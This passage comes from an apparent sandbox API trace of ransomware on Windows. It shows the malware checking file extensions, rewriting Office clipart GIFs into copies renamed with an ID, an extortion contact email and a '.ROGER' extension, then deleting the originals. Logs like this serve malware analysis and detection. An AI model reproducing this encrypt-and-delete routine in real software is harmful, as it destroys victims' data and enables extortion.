returned 63 [0056.271] lstrlenW (lpString=".zip") returned 4 [0056.271] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.271] lstrlenW (lpString=".rar") returned 4 [0056.271] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.271] lstrlenW (lpString=".bz2") returned 4 [0056.271] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.271] lstrlenW (lpString=".7z") returned 3 [0056.271] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0056.271] lstrlenW (lpString=".dbf") returned 4 [0056.271] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0056.271] lstrlenW (lpString=".1cd") returned 4 [0056.271] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0056.271] lstrlenW (lpString=".jpg") returned 4 [0056.271] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.271] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.271] lstrlenW (lpString="AG00161_.GIF") returned 12 [0056.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.271] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=7583) returned 1 [0056.271] CloseHandle (hObject=0x3f8) returned 1 [0056.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0056.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.272] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.272] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.272] GetLastError () returned 0x0 [0056.272] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x1d9f, lpOverlapped=0x0) returned 1 [0057.103] WriteFile (in: hFile=0x368, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0057.104] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.104] WriteFile (in: hFile=0x368, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.104] SetEndOfFile (hFile=0x368) returned 1 [0057.104] CloseHandle (hObject=0x368) returned 1 [0057.104] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.105] SetEndOfFile (hFile=0x3f8) returned 1 [0057.105] CloseHandle (hObject=0x3f8) returned 1 [0057.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0057.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0057.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0057.106] lstrlenW (lpString=".doc") returned 4 [0057.106] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.106] lstrlenW (lpString=".docx") returned 5 [0057.106] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.106] lstrlenW (lpString=".pdf") returned 4 [0057.106] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.106] lstrlenW (lpString=".xls") returned 4 [0057.106] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.106] lstrlenW (lpString=".xlsx") returned 5 [0057.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.106] lstrlenW (lpString=".ppt") returned 4 [0057.106] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0057.106] lstrlenW (lpString=".zip") returned 4 [0057.106] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.106] lstrlenW (lpString=".rar") returned 4 [0057.106] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.106] lstrlenW (lpString=".bz2") returned 4 [0057.106] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.106] lstrlenW (lpString=".7z") returned 3 [0057.106] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0057.107] lstrlenW (lpString=".dbf") returned 4 [0057.107] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0057.107] lstrlenW (lpString=".1cd") returned 4 [0057.107] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0057.107] lstrlenW (lpString=".jpg") returned 4 [0057.107] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0057.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0057.107] lstrlenW (lpString=".doc") returned 4 [0057.107] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.107] lstrlenW (lpString=".docx") returned 5 [0057.107] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.107] lstrlenW (lpString=".pdf") returned 4 [0057.107] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.107] lstrlenW (lpString=".xls") returned 4 [0057.107] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.107] lstrlenW (lpString=".xlsx") returned 5 [0057.107] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.107] lstrlenW (lpString=".ppt") returned 4 [0057.107] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0057.107] lstrlenW (lpString=".zip") returned 4 [0057.107] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.107] lstrlenW (lpString=".rar") returned 4 [0057.107] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.107] lstrlenW (lpString=".bz2") returned 4 [0057.107] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.107] lstrlenW (lpString=".7z") returned 3 [0057.107] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0057.108] lstrlenW (lpString=".dbf") returned 4 [0057.108] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0057.108] lstrlenW (lpString=".1cd") returned 4 [0057.108] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0057.108] lstrlenW (lpString=".jpg") returned 4 [0057.108] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.108] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0057.108] lstrlenW (lpString="AG00165_.GIF") returned 12 [0057.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0057.185] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=8582) returned 1 [0057.185] CloseHandle (hObject=0x3fc) returned 1 [0057.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0057.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0057.186] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.186] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0057.186] GetLastError () returned 0x0 [0057.186] ReadFile (in: hFile=0x3fc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x2186, lpOverlapped=0x0) returned 1 [0057.285] WriteFile (in: hFile=0x3f8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x2190, lpOverlapped=0x0) returned 1 [0057.286] ReadFile (in: hFile=0x3fc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.286] WriteFile (in: hFile=0x3f8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.286] SetEndOfFile (hFile=0x3f8) returned 1 [0057.286] CloseHandle (hObject=0x3f8) returned 1 [0057.286] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.286] SetEndOfFile (hFile=0x3fc) returned 1 [0057.287] CloseHandle (hObject=0x3fc) returned 1 [0057.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0057.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0057.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0057.288] lstrlenW (lpString=".doc") returned 4 [0057.288] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.288] lstrlenW (lpString=".docx") returned 5 [0057.288] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.288] lstrlenW (lpString=".pdf") returned 4 [0057.288] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.288] lstrlenW (lpString=".xls") returned 4 [0057.288] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.288] lstrlenW (lpString=".xlsx") returned 5 [0057.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.288] lstrlenW (lpString=".ppt") returned 4 [0057.288] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0057.288] lstrlenW (lpString=".zip") returned 4 [0057.288] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.288] lstrlenW (lpString=".rar") returned 4 [0057.288] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.288] lstrlenW (lpString=".bz2") returned 4 [0057.288] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.288] lstrlenW (lpString=".7z") returned 3 [0057.288] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0057.289] lstrlenW (lpString=".dbf") returned 4 [0057.289] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0057.289] lstrlenW (lpString=".1cd") returned 4 [0057.289] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0057.289] lstrlenW (lpString=".jpg") returned 4 [0057.289] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0057.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0057.289] lstrlenW (lpString=".doc") returned 4 [0057.289] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.289] lstrlenW (lpString=".docx") returned 5 [0057.289] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.289] lstrlenW (lpString=".pdf") returned 4 [0057.289] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.289] lstrlenW (lpString=".xls") returned 4 [0057.289] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.289] lstrlenW (lpString=".xlsx") returned 5 [0057.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.289] lstrlenW (lpString=".ppt") returned 4 [0057.289] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0057.289] lstrlenW (lpString=".zip") returned 4 [0057.289] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.289] lstrlenW (lpString=".rar") returned 4 [0057.289] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.289] lstrlenW (lpString=".bz2") returned 4 [0057.289] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.289] lstrlenW (lpString=".7z") returned 3 [0057.289] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0057.290] lstrlenW (lpString=".dbf") returned 4 [0057.290] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0057.290] lstrlenW (lpString=".1cd") returned 4 [0057.290] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0057.290] lstrlenW (lpString=".jpg") returned 4 [0057.290] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.290] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0057.290] lstrlenW (lpString="AG00172_.GIF") returned 12 [0057.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.339] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=4390) returned 1 [0057.339] CloseHandle (hObject=0x35c) returned 1 [0057.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0057.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.339] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.339] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0057.339] GetLastError () returned 0x0 [0057.339] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x1126, lpOverlapped=0x0) returned 1 [0057.341] WriteFile (in: hFile=0x39c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1130, lpOverlapped=0x0) returned 1 [0057.342] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.342] WriteFile (in: hFile=0x39c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.342] SetEndOfFile (hFile=0x39c) returned 1 [0057.343] CloseHandle (hObject=0x39c) returned 1 [0057.343] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.343] SetEndOfFile (hFile=0x35c) returned 1 [0057.343] CloseHandle (hObject=0x35c) returned 1 [0057.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0057.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0057.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0057.344] lstrlenW (lpString=".doc") returned 4 [0057.344] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.344] lstrlenW (lpString=".docx") returned 5 [0057.344] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.344] lstrlenW (lpString=".pdf") returned 4 [0057.344] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.344] lstrlenW (lpString=".xls") returned 4 [0057.344] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.344] lstrlenW (lpString=".xlsx") returned 5 [0057.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.344] lstrlenW (lpString=".ppt") returned 4 [0057.344] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0057.344] lstrlenW (lpString=".zip") returned 4 [0057.344] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.344] lstrlenW (lpString=".rar") returned 4 [0057.345] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.345] lstrlenW (lpString=".bz2") returned 4 [0057.345] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.345] lstrlenW (lpString=".7z") returned 3 [0057.345] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0057.345] lstrlenW (lpString=".dbf") returned 4 [0057.345] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0057.345] lstrlenW (lpString=".1cd") returned 4 [0057.345] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0057.345] lstrlenW (lpString=".jpg") returned 4 [0057.345] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0057.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0057.345] lstrlenW (lpString=".doc") returned 4 [0057.345] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.345] lstrlenW (lpString=".docx") returned 5 [0057.345] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.345] lstrlenW (lpString=".pdf") returned 4 [0057.345] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.345] lstrlenW (lpString=".xls") returned 4 [0057.345] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.345] lstrlenW (lpString=".xlsx") returned 5 [0057.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.345] lstrlenW (lpString=".ppt") returned 4 [0057.345] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0057.345] lstrlenW (lpString=".zip") returned 4 [0057.345] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.346] lstrlenW (lpString=".rar") returned 4 [0057.346] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.346] lstrlenW (lpString=".bz2") returned 4 [0057.346] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.346] lstrlenW (lpString=".7z") returned 3 [0057.346] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0057.346] lstrlenW (lpString=".dbf") returned 4 [0057.346] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.346] lstrlenW (lpString="C:\\Program Files\\Microsoft 